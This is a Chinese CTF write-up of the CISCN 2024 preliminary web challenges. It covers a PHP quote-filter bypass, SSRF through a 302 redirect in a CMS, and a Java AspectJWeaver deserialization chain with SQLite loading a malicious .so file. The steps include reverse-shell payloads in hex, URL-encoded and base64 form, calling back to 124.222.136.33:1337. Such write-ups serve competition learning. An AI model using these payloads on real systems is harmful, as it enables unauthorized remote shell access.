【Web】CISCN 2024初赛 题解(全)

目录

Simple_php

easycms

easycms_revenge

ezjava

mossfern

sanic


Simple_php

用php -r进行php代码执行

因为ban了引号,考虑hex2bin,将数字转为字符串

php -r eval(hex2bin(16进制));

注意下面这段报错,因为加不了引号,开头是数字的话,就会将类型识别为数字,若后续出现了字符串就会报错

用substr来截一下,从而将类型转换为字符串

cmd=php -r $a=substr(Z62617368202d63202262617368202d69203e26202f6465762f7463702f3132342e3232322e3133362e33332f3133333720303e263122,1);system(hex2bin($a));

反弹shell后进行当前目录的查找

flag不在web目录下

去查数据库拿到flag

easycms

提示打SSRF

https://m.xunruicms.com/bug/?

在$thumb处传入url即可访问

不能直接传127.0.0.1,打302

?s=api&c=api&m=qrcode&text=xxx&size=1024&level=1&thumb=http://124.222.136.33:1338/302.php

302.php

<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");

反弹shell

根目录下./readflag

easycms_revenge

和上题一样,改一下302.php的内容

GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>
</html>

这里注意细节,靶机发了两次请求,第一次我们就返回一个正常的图片,第二次请求就发一个302,php代码块要用html标签包裹

ezjava

/app/BOOT-INF/lib下删了jackson,不然就能直接打POJONode

依赖里有AspectJWeaver,打任意文件写入

【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-优快云博客

后续还可以配合sqlite加载恶意so文件

JavaSec/9.JDBC Attack/SQLite/index.md at main · Y4tacker/JavaSec · GitHub

然后AJ链子的入口要调用map.put

自定义类UserBean#readObject就可以配合利用

最终思路就是先mysql打入恶意反序列化数据写入so文件,再sqlite加载恶意so文件

生成恶意so文件

msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so

将生成的恶意序列化数据写入output.se

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值